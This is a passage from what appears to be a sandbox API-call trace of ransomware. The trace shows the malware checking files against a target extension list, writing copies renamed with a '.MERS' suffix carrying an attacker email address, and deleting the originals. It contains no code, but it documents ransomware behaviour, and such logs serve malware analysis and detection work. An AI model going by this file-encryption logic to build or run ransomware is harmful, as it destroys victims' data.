lpString2=".GIF") returned 1 [0262.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0262.302] lstrlenW (lpString=".zip") returned 4 [0262.302] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.302] lstrlenW (lpString=".rar") returned 4 [0262.303] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.303] lstrlenW (lpString=".bz2") returned 4 [0262.303] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.303] lstrlenW (lpString=".7z") returned 3 [0262.303] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0262.303] lstrlenW (lpString=".dbf") returned 4 [0262.303] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0262.303] lstrlenW (lpString=".1cd") returned 4 [0262.303] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0262.303] lstrlenW (lpString=".jpg") returned 4 [0262.303] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0262.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0262.303] lstrlenW (lpString=".doc") returned 4 [0262.303] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.303] lstrlenW (lpString=".docx") returned 5 [0262.303] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.303] lstrlenW (lpString=".pdf") returned 4 [0262.303] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.303] lstrlenW (lpString=".xls") returned 4 [0262.303] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.303] lstrlenW (lpString=".xlsx") returned 5 [0262.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.303] lstrlenW (lpString=".ppt") returned 4 [0262.303] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0262.303] lstrlenW (lpString=".zip") returned 4 [0262.303] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.304] lstrlenW (lpString=".rar") returned 4 [0262.304] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.304] lstrlenW (lpString=".bz2") returned 4 [0262.304] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.304] lstrlenW (lpString=".7z") returned 3 [0262.304] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0262.304] lstrlenW (lpString=".dbf") returned 4 [0262.304] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0262.304] lstrlenW (lpString=".1cd") returned 4 [0262.304] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0262.304] lstrlenW (lpString=".jpg") returned 4 [0262.304] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.304] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0262.304] lstrlenW (lpString="AG00092_.GIF") returned 12 [0262.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0262.306] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=502) returned 1 [0262.306] CloseHandle (hObject=0x3c4) returned 1 [0262.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0262.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0262.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0262.307] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0262.307] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0262.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0262.307] GetLastError () returned 0x0 [0262.308] ReadFile (in: hFile=0x3c4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x1f6, lpOverlapped=0x0) returned 1 [0262.308] WriteFile (in: hFile=0x3c8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x200, lpOverlapped=0x0) returned 1 [0262.309] ReadFile (in: hFile=0x3c4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0262.309] WriteFile (in: hFile=0x3c8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.309] SetEndOfFile (hFile=0x3c8) returned 1 [0262.309] CloseHandle (hObject=0x3c8) returned 1 [0262.309] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0262.309] SetEndOfFile (hFile=0x3c4) returned 1 [0262.312] CloseHandle (hObject=0x3c4) returned 1 [0262.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0262.315] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0262.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0262.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0262.316] lstrlenW (lpString=".doc") returned 4 [0262.316] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.316] lstrlenW (lpString=".docx") returned 5 [0262.316] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.316] lstrlenW (lpString=".pdf") returned 4 [0262.316] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.316] lstrlenW (lpString=".xls") returned 4 [0262.316] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.316] lstrlenW (lpString=".xlsx") returned 5 [0262.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.316] lstrlenW (lpString=".ppt") returned 4 [0262.317] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0262.317] lstrlenW (lpString=".zip") returned 4 [0262.317] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.317] lstrlenW (lpString=".rar") returned 4 [0262.317] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.317] lstrlenW (lpString=".bz2") returned 4 [0262.317] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.317] lstrlenW (lpString=".7z") returned 3 [0262.317] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0262.317] lstrlenW (lpString=".dbf") returned 4 [0262.317] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0262.317] lstrlenW (lpString=".1cd") returned 4 [0262.317] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0262.317] lstrlenW (lpString=".jpg") returned 4 [0262.317] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0262.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0262.317] lstrlenW (lpString=".doc") returned 4 [0262.317] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.317] lstrlenW (lpString=".docx") returned 5 [0262.317] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.317] lstrlenW (lpString=".pdf") returned 4 [0262.317] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.317] lstrlenW (lpString=".xls") returned 4 [0262.317] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.318] lstrlenW (lpString=".xlsx") returned 5 [0262.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.318] lstrlenW (lpString=".ppt") returned 4 [0262.318] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0262.318] lstrlenW (lpString=".zip") returned 4 [0262.318] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.318] lstrlenW (lpString=".rar") returned 4 [0262.318] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.318] lstrlenW (lpString=".bz2") returned 4 [0262.318] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.318] lstrlenW (lpString=".7z") returned 3 [0262.318] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0262.318] lstrlenW (lpString=".dbf") returned 4 [0262.318] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0262.318] lstrlenW (lpString=".1cd") returned 4 [0262.318] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0262.318] lstrlenW (lpString=".jpg") returned 4 [0262.318] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.318] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0262.318] lstrlenW (lpString="AG00103_.GIF") returned 12 [0262.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0262.411] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=12702) returned 1 [0262.411] CloseHandle (hObject=0x3b4) returned 1 [0262.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0263.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0263.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.675] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0263.675] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0263.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0263.730] GetLastError () returned 0x0 [0263.730] ReadFile (in: hFile=0x388, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x319e, lpOverlapped=0x0) returned 1 [0263.912] WriteFile (in: hFile=0x384, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x31a0, lpOverlapped=0x0) returned 1 [0263.913] ReadFile (in: hFile=0x388, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0263.913] WriteFile (in: hFile=0x384, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.913] SetEndOfFile (hFile=0x384) returned 1 [0264.387] CloseHandle (hObject=0x384) returned 1 [0264.529] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0264.530] SetEndOfFile (hFile=0x388) returned 1 [0264.879] CloseHandle (hObject=0x388) returned 1 [0264.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0264.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0264.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0264.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0264.912] lstrlenW (lpString=".doc") returned 4 [0264.912] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0264.912] lstrlenW (lpString=".docx") returned 5 [0264.912] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0264.912] lstrlenW (lpString=".pdf") returned 4 [0264.912] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0264.912] lstrlenW (lpString=".xls") returned 4 [0264.912] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0264.912] lstrlenW (lpString=".xlsx") returned 5 [0264.912] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0264.912] lstrlenW (lpString=".ppt") returned 4 [0264.912] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0264.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0264.912] lstrlenW (lpString=".zip") returned 4 [0264.912] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0264.912] lstrlenW (lpString=".rar") returned 4 [0264.912] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0264.912] lstrlenW (lpString=".bz2") returned 4 [0264.912] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0264.912] lstrlenW (lpString=".7z") returned 3 [0264.912] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0264.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0264.912] lstrlenW (lpString=".dbf") returned 4 [0264.912] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0264.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0264.912] lstrlenW (lpString=".1cd") returned 4 [0264.912] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0264.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0264.912] lstrlenW (lpString=".jpg") returned 4 [0264.912] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0264.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0264.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0264.913] lstrlenW (lpString=".doc") returned 4 [0264.913] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0264.913] lstrlenW (lpString=".docx") returned 5 [0264.913] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0264.913] lstrlenW (lpString=".pdf") returned 4 [0264.913] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0264.913] lstrlenW (lpString=".xls") returned 4 [0264.913] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0264.913] lstrlenW (lpString=".xlsx") returned 5 [0264.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0264.913] lstrlenW (lpString=".ppt") returned 4 [0264.913] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0264.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0264.913] lstrlenW (lpString=".zip") returned 4 [0264.913] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0264.913] lstrlenW (lpString=".rar") returned 4 [0264.913] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0264.913] lstrlenW (lpString=".bz2") returned 4 [0264.913] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0264.913] lstrlenW (lpString=".7z") returned 3 [0264.913] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0264.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0264.913] lstrlenW (lpString=".dbf") returned 4 [0264.913] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0264.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0264.913] lstrlenW (lpString=".1cd") returned 4 [0264.913] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0264.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0264.913] lstrlenW (lpString=".jpg") returned 4 [0264.913] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0264.914] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0264.914] lstrlenW (lpString="AG00135_.GIF") returned 12 [0264.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0264.914] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=2596) returned 1 [0264.914] CloseHandle (hObject=0x3c0) returned 1 [0264.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0264.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0264.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0264.915] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0264.915] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0264.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0264.915] GetLastError () returned 0x0 [0264.916] ReadFile (in: hFile=0x3c0, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0xa24, lpOverlapped=0x0) returned 1 [0265.272] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xa30, lpOverlapped=0x0) returned 1 [0265.273] ReadFile (in: hFile=0x3c0, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0265.273] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.273] SetEndOfFile (hFile=0x2dc) returned 1 [0265.547] CloseHandle (hObject=0x2dc) returned 1 [0265.550] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0265.550] SetEndOfFile (hFile=0x3c0) returned 1 [0265.980] CloseHandle (hObject=0x3c0) returned 1 [0265.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0265.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0265.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0265.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0265.996] lstrlenW (lpString=".doc") returned 4 [0265.996] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0265.996] lstrlenW (lpString=".docx") returned 5 [0265.996] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0265.996] lstrlenW (lpString=".pdf") returned 4 [0265.996] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0265.996] lstrlenW (lpString=".xls") returned 4 [0265.996] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0265.996] lstrlenW (lpString=".xlsx") returned 5 [0265.997] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0265.997] lstrlenW (lpString=".ppt") returned 4 [0265.997] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0265.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0265.997] lstrlenW (lpString=".zip") returned 4 [0265.997] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0265.997] lstrlenW (lpString=".rar") returned 4 [0265.997] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0265.997] lstrlenW (lpString=".bz2") returned 4 [0265.997] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0265.997] lstrlenW (lpString=".7z") returned 3 [0265.997] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0265.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0265.997] lstrlenW (lpString=".dbf") returned 4 [0265.997] lstrcmpiW (lpString1=".dbf", 